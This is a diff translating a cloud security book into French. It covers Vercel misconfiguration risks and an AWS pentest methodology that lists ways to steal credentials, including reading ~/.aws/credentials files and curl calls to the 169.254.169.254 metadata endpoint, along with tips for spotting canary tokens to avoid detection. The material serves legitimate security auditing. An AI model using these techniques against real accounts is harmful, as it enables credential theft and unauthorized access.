|
||||
- **Risks:**
|
||||
- **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization.
|
||||
- **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team.
|
||||
- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system.
|
||||
- **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled.
|
||||
- **Risks:**
|
||||
- **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members.
|
||||
- **Data Breach:** Sensitive information like API keys and credentials could be leaked.
|
||||
- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members.
|
||||
- **Misconfiguration:**\
|
||||
Granting access to audit logs to unauthorized team members.
|
||||
- **Risks:**
|
||||
- **Privacy Violations:** Exposure of sensitive user activities and data.
|
||||
- **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks.
|
||||
- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management.
|
||||
- **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints.
|
||||
- **Risk:** Maintain persistence
|
||||
- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains.
|
||||
- **Misconfiguration:** Leaving IP address visibility enabled without necessity.
|
||||
- **Risks:**
|
||||
- **Privacy Violations:** Non-compliance with data protection regulations like GDPR.
|
||||
- **Legal Repercussions:** Potential fines and penalties for mishandling personal data.
|
||||
- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing.
|
||||
- **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic.
|
||||
- **Risks:**
|
||||
- **Service Denial to Legitimate Users:** Blocking access for valid users or partners.
|
||||
- **Operational Disruptions:** Loss of service availability for certain regions or clients.
|
||||
- **Domaine d'email de l'équipe :** Lorsqu'il est configuré, ce paramètre invite automatiquement les comptes personnels Vercel avec des adresses email se terminant par le domaine spécifié (par exemple, `mydomain.com`) à rejoindre votre équipe lors de l'inscription et sur le tableau de bord.
|
||||
- **Mauvaise configuration :** 
|
||||
- Spécifier le mauvais domaine email ou un domaine mal orthographié dans le paramètre de domaine d'email de l'équipe.
|
||||
- Utiliser un domaine email commun (par exemple, `gmail.com`, `hotmail.com`) au lieu d'un domaine spécifique à l'entreprise.
|
||||
- **Risques :**
|
||||
- **Accès non autorisé :** Des utilisateurs avec des adresses email de domaines non prévus peuvent recevoir des invitations à rejoindre votre équipe.
|
||||
- **Exposition des données :** Exposition potentielle d'informations sensibles du projet à des individus non autorisés.
|
||||
- **Scopes Git protégés :** Vous permet d'ajouter jusqu'à 5 scopes Git à votre équipe pour empêcher d'autres équipes Vercel de déployer des dépôts à partir du scope protégé. Plusieurs équipes peuvent spécifier le même scope, permettant aux deux équipes d'accéder.
|
||||
- **Mauvaise configuration :** Ne pas ajouter de scopes Git critiques à la liste protégée.
|
||||
- **Risques :**
|
||||
- **Déploiements non autorisés :** D'autres équipes peuvent déployer des dépôts à partir des scopes Git de votre organisation sans autorisation.
|
||||
- **Exposition de propriété intellectuelle :** Du code propriétaire pourrait être déployé et accessible en dehors de votre équipe.
|
||||
- **Politiques de variables d'environnement :** Applique des politiques pour la création et l'édition des variables d'environnement de l'équipe. En particulier, vous pouvez imposer que toutes les variables d'environnement soient créées en tant que **Variables d'environnement sensibles**, qui ne peuvent être décryptées que par le système de déploiement de Vercel.
|
||||
- **Mauvaise configuration :** Garder la mise en application des variables d'environnement sensibles désactivée.
|
||||
- **Risques :**
|
||||
- **Exposition des secrets :** Les variables d'environnement peuvent être vues ou éditées par des membres d'équipe non autorisés.
|
||||
- **Violation de données :** Des informations sensibles comme des clés API et des identifiants pourraient être divulguées.
|
||||
- **Journal d'audit :** Fournit une exportation de l'activité de l'équipe pour les 90 derniers jours. Les journaux d'audit aident à surveiller et à suivre les actions effectuées par les membres de l'équipe.
|
||||
- **Mauvaise configuration :**\
|
||||
Accorder l'accès aux journaux d'audit à des membres d'équipe non autorisés.
|
||||
- **Risques :**
|
||||
- **Violations de la vie privée :** Exposition d'activités et de données utilisateur sensibles.
|
||||
- **Altération des journaux :** Des acteurs malveillants pourraient modifier ou supprimer des journaux pour couvrir leurs traces.
|
||||
- **SAML Single Sign-On :** Permet la personnalisation de l'authentification SAML et de la synchronisation des annuaires pour votre équipe, permettant l'intégration avec un fournisseur d'identité (IdP) pour une authentification et une gestion des utilisateurs centralisées.
|
||||
- **Mauvaise configuration :** Un attaquant pourrait créer une porte dérobée dans les paramètres de l'équipe en configurant des paramètres SAML tels que l'ID d'entité, l'URL SSO ou les empreintes de certificat.
|
||||
- **Risque :** Maintenir la persistance
|
||||
- **Visibilité des adresses IP :** Contrôle si les adresses IP, qui peuvent être considérées comme des informations personnelles en vertu de certaines lois sur la protection des données, sont affichées dans les requêtes de surveillance et les drains de journal.
|
||||
- **Mauvaise configuration :** Laisser la visibilité des adresses IP activée sans nécessité.
|
||||
- **Risques :**
|
||||
- **Violations de la vie privée :** Non-conformité aux réglementations sur la protection des données comme le RGPD.
|
||||
- **Répercussions légales :** Amendes et pénalités potentielles pour mauvaise gestion des données personnelles.
|
||||
- **Blocage IP :** Permet la configuration des adresses IP et des plages CIDR que Vercel doit bloquer. Les requêtes bloquées ne contribuent pas à votre facturation.
|
||||
- **Mauvaise configuration :** Pourrait être abusé par un attaquant pour permettre un trafic malveillant ou bloquer un trafic légitime.
|
||||
- **Risques :**
|
||||
- **Refus de service aux utilisateurs légitimes :** Blocage d'accès pour des utilisateurs ou partenaires valides.
|
||||
- **Perturbations opérationnelles :** Perte de disponibilité de service pour certaines régions ou clients.
|
||||
|
||||
---
|
||||
|
||||
### Secure Compute
|
||||
### Calcul sécurisé
|
||||
|
||||
**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy.
|
||||
**Vercel Secure Compute** permet des connexions sécurisées et privées entre les fonctions Vercel et les environnements backend (par exemple, bases de données) en établissant des réseaux isolés avec des adresses IP dédiées. Cela élimine le besoin d'exposer les services backend publiquement, améliorant la sécurité, la conformité et la confidentialité.
|
||||
|
||||
#### **Potential Misconfigurations and Risks**
|
||||
#### **Mauvaises configurations et risques potentiels**
|
||||
|
||||
1. **Incorrect AWS Region Selection**
|
||||
- **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region.
|
||||
- **Risk:** Increased latency, potential data residency compliance issues, and degraded performance.
|
||||
2. **Overlapping CIDR Blocks**
|
||||
- **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks.
|
||||
- **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks.
|
||||
3. **Improper VPC Peering Configuration**
|
||||
- **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates).
|
||||
- **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches.
|
||||
4. **Excessive Project Assignments**
|
||||
- **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation.
|
||||
- **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others.
|
||||
5. **Inadequate IP Address Management**
|
||||
- **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately.
|
||||
- **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities.
|
||||
6. **Including Build Containers Unnecessarily**
|
||||
- **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds.
|
||||
- **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources.
|
||||
7. **Failure to Securely Handle Bypass Secrets**
|
||||
- **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections.
|
||||
- **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code.
|
||||
8. **Ignoring Region Failover Configurations**
|
||||
- **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings.
|
||||
- **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency.
|
||||
9. **Exceeding VPC Peering Connection Limits**
|
||||
- **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections).
|
||||
- **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions.
|
||||
10. **Insecure Network Settings**
|
||||
- **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network.
|
||||
- **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks.
|
||||
1. **Sélection incorrecte de la région AWS**
|
||||
- **Mauvaise configuration :** Choisir une région AWS pour le réseau Secure Compute qui ne correspond pas à la région des services backend.
|
||||
- **Risque :** Latence accrue, problèmes potentiels de conformité en matière de résidence des données et dégradation des performances.
|
||||
2. **Blocs CIDR qui se chevauchent**
|
||||
- **Mauvaise configuration :** Sélectionner des blocs CIDR qui se chevauchent avec des VPC existants ou d'autres réseaux.
|
||||
- **Risque :** Conflits de réseau entraînant des connexions échouées, un accès non autorisé ou des fuites de données entre les réseaux.
|
||||
3. **Configuration incorrecte du peering VPC**
|
||||
- **Mauvaise configuration :** Configuration incorrecte du peering VPC (par exemple, mauvais ID de VPC, mises à jour incomplètes de la table de routage).
|
||||
- **Risque :** Accès non autorisé à l'infrastructure backend, connexions sécurisées échouées et violations potentielles de données.
|
||||
4. **Attributions de projet excessives**
|
||||
- **Mauvaise configuration :** Attribuer plusieurs projets à un seul réseau Secure Compute sans isolation appropriée.
|
||||
- **Risque :** L'exposition IP partagée augmente la surface d'attaque, permettant potentiellement à des projets compromis d'affecter d'autres.
|
||||
5. **Gestion inadéquate des adresses IP**
|
||||
- **Mauvaise configuration :** Échec de la gestion ou de la rotation appropriée des adresses IP dédiées.
|
||||
- **Risque :** Spoofing IP, vulnérabilités de suivi et potentiel de mise sur liste noire si les IP sont associées à des activités malveillantes.
|
||||
6. **Inclusion inutile de conteneurs de build**
|
||||
- **Mauvaise configuration :** Ajouter des conteneurs de build au réseau Secure Compute lorsque l'accès backend n'est pas requis pendant les builds.
|
||||
- **Risque :** Surface d'attaque élargie, délais de provisionnement accrus et consommation inutile des ressources réseau.
|
||||
7. **Échec de la gestion sécurisée des secrets de contournement**
|
||||
- **Mauvaise configuration :** Exposer ou mal gérer les secrets utilisés pour contourner les protections de déploiement.
|
||||
- **Risque :** Accès non autorisé aux déploiements protégés, permettant aux attaquants de manipuler ou de déployer du code malveillant.
|
||||
8. **Ignorer les configurations de basculement de région**
|
||||
- **Mauvaise configuration :** Ne pas configurer de régions de basculement passives ou configurer incorrectement les paramètres de basculement.
|
||||
- **Risque :** Temps d'arrêt du service lors des pannes de la région principale, entraînant une disponibilité réduite et une incohérence potentielle des données.
|
||||
9. **Dépassement des limites de connexion de peering VPC**
|
||||
- **Mauvaise configuration :** Tenter d'établir plus de connexions de peering VPC que la limite autorisée (par exemple, dépasser 50 connexions).
|
||||
- **Risque :** Incapacité à connecter en toute sécurité les services backend nécessaires, provoquant des échecs de déploiement et des perturbations opérationnelles.
|
||||
10. **Paramètres réseau non sécurisés**
|
||||
- **Mauvaise configuration :** Règles de pare-feu faibles, absence de cryptage ou segmentation réseau inappropriée au sein du réseau Secure Compute.
|
||||
- **Risque :** Interception de données, accès non autorisé aux services backend et vulnérabilité accrue aux attaques.
|
||||
|
||||
---
|
||||
|
||||
### Environment Variables
|
||||
### Variables d'environnement
|
||||
|
||||
**Purpose:** Manage environment-specific variables and secrets used by all the projects.
|
||||
**Objectif :** Gérer les variables et secrets spécifiques à l'environnement utilisés par tous les projets.
|
||||
|
||||
#### Security Configurations:
|
||||
#### Configurations de sécurité :
|
||||
|
||||
- **Exposing Sensitive Variables**
|
||||
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
|
||||
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
|
||||
- **Sensitive disabled**
|
||||
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
|
||||
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
|
||||
- **Exposition de variables sensibles**
|
||||
- **Mauvaise configuration :** Préfixer les variables sensibles avec `NEXT_PUBLIC_`, les rendant accessibles côté client.
|
||||
- **Risque :** Exposition de clés API, d'identifiants de base de données ou d'autres données sensibles au public, entraînant des violations de données.
|
||||
- **Sensibles désactivés**
|
||||
- **Mauvaise configuration :** Si désactivé (par défaut), il est possible de lire les valeurs des secrets générés.
|
||||
- **Risque :** Augmentation de la probabilité d'exposition accidentelle ou d'accès non autorisé à des informations sensibles.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,17 +2,17 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Informations de base
|
||||
|
||||
**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
|
||||
**Avant de commencer le pentesting** d'un **environnement AWS**, il y a quelques **choses de base que vous devez savoir** sur le fonctionnement d'AWS pour vous aider à comprendre ce que vous devez faire, comment trouver des erreurs de configuration et comment les exploiter.
|
||||
|
||||
Concepts such as organization hierarchy, IAM and other basic concepts are explained in:
|
||||
Des concepts tels que la hiérarchie des organisations, IAM et d'autres concepts de base sont expliqués dans :
|
||||
|
||||
{{#ref}}
|
||||
aws-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
## Labs to learn
|
||||
## Laboratoires pour apprendre
|
||||
|
||||
- [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat)
|
||||
- [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable)
|
||||
@@ -22,49 +22,49 @@ aws-basic-information/
|
||||
- [http://flaws.cloud/](http://flaws.cloud/)
|
||||
- [http://flaws2.cloud/](http://flaws2.cloud/)
|
||||
|
||||
Tools to simulate attacks:
|
||||
Outils pour simuler des attaques :
|
||||
|
||||
- [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/)
|
||||
- [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main)
|
||||
|
||||
## AWS Pentester/Red Team Methodology
|
||||
## Méthodologie de Pentester/Red Team AWS
|
||||
|
||||
In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected.
|
||||
Pour auditer un environnement AWS, il est très important de savoir : quels **services sont utilisés**, ce qui est **exposé**, qui a **accès** à quoi, et comment les services internes AWS et les **services externes** sont connectés.
|
||||
|
||||
From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
|
||||
Du point de vue d'une Red Team, le **premier pas pour compromettre un environnement AWS** est d'obtenir des **identifiants**. Voici quelques idées sur comment faire cela :
|
||||
|
||||
- **Leaks** in github (or similar) - OSINT
|
||||
- **Social** Engineering
|
||||
- **Password** reuse (password leaks)
|
||||
- Vulnerabilities in AWS-Hosted Applications
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) with access to metadata endpoint
|
||||
- **Local File Read**
|
||||
- `/home/USERNAME/.aws/credentials`
|
||||
- `C:\Users\USERNAME\.aws\credentials`
|
||||
- 3rd parties **breached**
|
||||
- **Internal** Employee
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)credentials
|
||||
- **Fuites** sur github (ou similaire) - OSINT
|
||||
- **Ingénierie** Sociale
|
||||
- Réutilisation de **mots de passe** (fuites de mots de passe)
|
||||
- Vulnérabilités dans les applications hébergées sur AWS
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) avec accès au point de terminaison des métadonnées
|
||||
- **Lecture de fichiers locaux**
|
||||
- `/home/USERNAME/.aws/credentials`
|
||||
- `C:\Users\USERNAME\.aws\credentials`
|
||||
- **Violations** de tiers
|
||||
- **Employé** interne
|
||||
- [**Cognito** ](aws-services/aws-cognito-enum/index.html#cognito)identifiants
|
||||
|
||||
Or by **compromising an unauthenticated service** exposed:
|
||||
Ou en **compromettant un service non authentifié** exposé :
|
||||
|
||||
{{#ref}}
|
||||
aws-unauthenticated-enum-access/
|
||||
{{#endref}}
|
||||
|
||||
Or if you are doing a **review** you could just **ask for credentials** with these roles:
|
||||
Ou si vous faites une **révision**, vous pourriez simplement **demander des identifiants** avec ces rôles :
|
||||
|
||||
{{#ref}}
|
||||
aws-permissions-for-a-pentest.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
|
||||
> Après avoir réussi à obtenir des identifiants, vous devez savoir **à qui appartiennent ces identifiants**, et **à quoi ils ont accès**, donc vous devez effectuer une énumération de base :
|
||||
|
||||
## Basic Enumeration
|
||||
## Énumération de base
|
||||
|
||||
### SSRF
|
||||
|
||||
If you found a SSRF in a machine inside AWS check this page for tricks:
|
||||
Si vous avez trouvé un SSRF sur une machine à l'intérieur d'AWS, consultez cette page pour des astuces :
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
|
||||
@@ -72,8 +72,7 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
|
||||
|
||||
### Whoami
|
||||
|
||||
One of the first things you need to know is who you are (in where account you are in other info about the AWS env):
|
||||
|
||||
L'une des premières choses que vous devez savoir est qui vous êtes (dans quel compte vous êtes et d'autres informations sur l'environnement AWS) :
|
||||
```bash
|
||||
# Easiest way, but might be monitored?
|
||||
aws sts get-caller-identity
|
||||
@@ -89,10 +88,9 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
|
||||
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
|
||||
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\
|
||||
> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
|
||||
> Notez que les entreprises peuvent utiliser des **canary tokens** pour identifier quand des **tokens sont volés et utilisés**. Il est recommandé de vérifier si un token est un canary token ou non avant de l'utiliser.\
|
||||
> Pour plus d'infos [**consultez cette page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
|
||||
|
||||
### Org Enumeration
|
||||
|
||||
@@ -102,30 +100,30 @@ aws-services/aws-organizations-enum.md
|
||||
|
||||
### IAM Enumeration
|
||||
|
||||
If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**.
|
||||
Si vous avez suffisamment de permissions, **vérifier les privilèges de chaque entité dans le compte AWS** vous aidera à comprendre ce que vous et d'autres identités pouvez faire et comment **escalader les privilèges**.
|
||||
|
||||
If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\
|
||||
Check **how to do the numeration and brute-forcing** in:
|
||||
Si vous n'avez pas assez de permissions pour énumérer IAM, vous pouvez **les voler par bruteforce** pour les découvrir.\
|
||||
Vérifiez **comment faire l'énumération et le bruteforce** dans :
|
||||
|
||||
{{#ref}}
|
||||
aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
|
||||
> In the following section you can check some ways to **enumerate some common services.**
|
||||
> Maintenant que vous **avez des informations sur vos identifiants** (et si vous êtes une équipe rouge, espérons que vous **n'avez pas été détecté**). Il est temps de découvrir quels services sont utilisés dans l'environnement.\
|
||||
> Dans la section suivante, vous pouvez vérifier quelques façons d'**énumérer certains services courants.**
|
||||
|
||||
## Services Enumeration, Post-Exploitation & Persistence
|
||||
|
||||
AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
|
||||
AWS a un nombre étonnant de services, dans la page suivante vous trouverez des **informations de base, des cheatsheets d'énumération**, comment **éviter la détection**, obtenir **de la persistance**, et d'autres **astuces de post-exploitation** à propos de certains d'entre eux :
|
||||
|
||||
{{#ref}}
|
||||
aws-services/
|
||||
{{#endref}}
|
||||
|
||||
Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](#automated-tools).
|
||||
Notez que vous **n'avez pas** besoin d'effectuer tout le travail **manuellement**, ci-dessous dans ce post, vous pouvez trouver une **section sur** [**les outils automatiques**](#automated-tools).
|
||||
|
||||
Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
|
||||
De plus, à ce stade, vous pourriez avoir découvert **plus de services exposés aux utilisateurs non authentifiés**, vous pourriez être en mesure de les exploiter :
|
||||
|
||||
{{#ref}}
|
||||
aws-unauthenticated-enum-access/
|
||||
@@ -133,7 +131,7 @@ aws-unauthenticated-enum-access/
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in:
|
||||
Si vous pouvez **vérifier au moins vos propres permissions** sur différentes ressources, vous pourriez **vérifier si vous êtes capable d'obtenir des permissions supplémentaires**. Vous devriez vous concentrer au moins sur les permissions indiquées dans :
|
||||
|
||||
{{#ref}}
|
||||
aws-privilege-escalation/
|
||||
@@ -141,10 +139,10 @@ aws-privilege-escalation/
|
||||
|
||||
## Publicly Exposed Services
|
||||
|
||||
While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
|
||||
As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
|
||||
En énumérant les services AWS, vous pourriez avoir trouvé certains d'entre eux **exposant des éléments à Internet** (ports VM/Containers, bases de données ou services de file d'attente, instantanés ou buckets...).\
|
||||
En tant que pentester/équipe rouge, vous devriez toujours vérifier si vous pouvez trouver des **informations sensibles / vulnérabilités** sur eux, car ils pourraient vous fournir **un accès supplémentaire au compte AWS**.
|
||||
|
||||
In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
|
||||
Dans ce livre, vous devriez trouver **des informations** sur comment trouver **des services AWS exposés et comment les vérifier**. Concernant comment trouver **des vulnérabilités dans des services réseau exposés**, je vous recommanderais de **chercher** le **service** spécifique dans :
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/
|
||||
@@ -154,52 +152,49 @@ https://book.hacktricks.wiki/
|
||||
|
||||
### From the root/management account
|
||||
|
||||
When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account.
|
||||
Lorsque le compte de gestion crée de nouveaux comptes dans l'organisation, un **nouveau rôle** est créé dans le nouveau compte, nommé par défaut **`OrganizationAccountAccessRole`** et donnant la politique **AdministratorAccess** au **compte de gestion** pour accéder au nouveau compte.
|
||||
|
||||
<figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
So, in order to access as administrator a child account you need:
|
||||
Ainsi, pour accéder en tant qu'administrateur à un compte enfant, vous devez :
|
||||
|
||||
- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin.
|
||||
- To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts`
|
||||
- You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**.
|
||||
- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary).
|
||||
- **Compromettre** le **compte de gestion** et trouver l'**ID** des **comptes enfants** et les **noms** du **rôle** (OrganizationAccountAccessRole par défaut) permettant au compte de gestion d'accéder en tant qu'admin.
|
||||
- Pour trouver les comptes enfants, allez dans la section des organisations dans la console AWS ou exécutez `aws organizations list-accounts`
|
||||
- Vous ne pouvez pas trouver le nom des rôles directement, donc vérifiez toutes les politiques IAM personnalisées et recherchez celles permettant **`sts:AssumeRole` sur les comptes enfants précédemment découverts**.
|
||||
- **Compromettre** un **principal** dans le compte de gestion avec la permission **`sts:AssumeRole` sur le rôle dans les comptes enfants** (même si le compte permet à quiconque du compte de gestion de se faire passer pour, étant un compte externe, des permissions spécifiques `sts:AssumeRole` sont nécessaires).
|
||||
|
||||
## Automated Tools
|
||||
|
||||
### Recon
|
||||
|
||||
- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby.
|
||||
|
||||
- [**aws-recon**](https://github.com/darkbitio/aws-recon): Un outil de **collecte d'inventaire** axé sur la sécurité AWS, multi-threadé, écrit en Ruby.
|
||||
```bash
|
||||
# Install
|
||||
gem install aws_recon
|
||||
|
||||
# Recon and get json
|
||||
AWS_PROFILE=<profile> aws_recon \
|
||||
--services S3,EC2 \
|
||||
--regions global,us-east-1,us-east-2 \
|
||||
--verbose
|
||||
--services S3,EC2 \
|
||||
--regions global,us-east-1,us-east-2 \
|
||||
--verbose
|
||||
```
|
||||
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues.
|
||||
|
||||
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist est un **outil multi-cloud pour obtenir des actifs** (noms d'hôtes, adresses IP) des fournisseurs de cloud.
|
||||
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper vous aide à analyser vos environnements Amazon Web Services (AWS). Il contient désormais beaucoup plus de fonctionnalités, y compris l'audit des problèmes de sécurité.
|
||||
```bash
|
||||
# Installation steps in github
|
||||
# Create a config.json file with the aws info, like:
|
||||
{
|
||||
"accounts": [
|
||||
{
|
||||
"default": true,
|
||||
"id": "<account id>",
|
||||
"name": "dev"
|
||||
}
|
||||
],
|
||||
"cidrs":
|
||||
{
|
||||
"2.2.2.2/28": {"name": "NY Office"}
|
||||
}
|
||||
"accounts": [
|
||||
{
|
||||
"default": true,
|
||||
"id": "<account id>",
|
||||
"name": "dev"
|
||||
}
|
||||
],
|
||||
"cidrs":
|
||||
{
|
||||
"2.2.2.2/28": {"name": "NY Office"}
|
||||
}
|
||||
}
|
||||
|
||||
# Enumerate
|
||||
@@ -229,9 +224,7 @@ python3 cloudmapper.py public --accounts dev
|
||||
python cloudmapper.py prepare #Prepare webserver
|
||||
python cloudmapper.py webserver #Show webserver
|
||||
```
|
||||
|
||||
- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
|
||||
|
||||
- [**cartographie**](https://github.com/lyft/cartography): Cartographie est un outil Python qui consolide les actifs d'infrastructure et les relations entre eux dans une vue graphique intuitive alimentée par une base de données Neo4j.
|
||||
```bash
|
||||
# Install
|
||||
pip install cartography
|
||||
@@ -240,17 +233,15 @@ pip install cartography
|
||||
# Get AWS info
|
||||
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
|
||||
```
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase) : Starbase collecte des actifs et des relations provenant de services et de systèmes, y compris l'infrastructure cloud, les applications SaaS, les contrôles de sécurité, et plus encore, dans une vue graphique intuitive soutenue par la base de données Neo4j.
|
||||
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory) : (Utilise python2) C'est un outil qui essaie de **découvrir tous** les [**ressources AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) créées dans un compte.
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips) : C'est un outil pour **récupérer toutes les adresses IP publiques** (à la fois IPv4/IPv6) associées à un compte AWS.
|
||||
|
||||
- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
|
||||
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account.
|
||||
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account.
|
||||
|
||||
### Privesc & Exploiting
|
||||
|
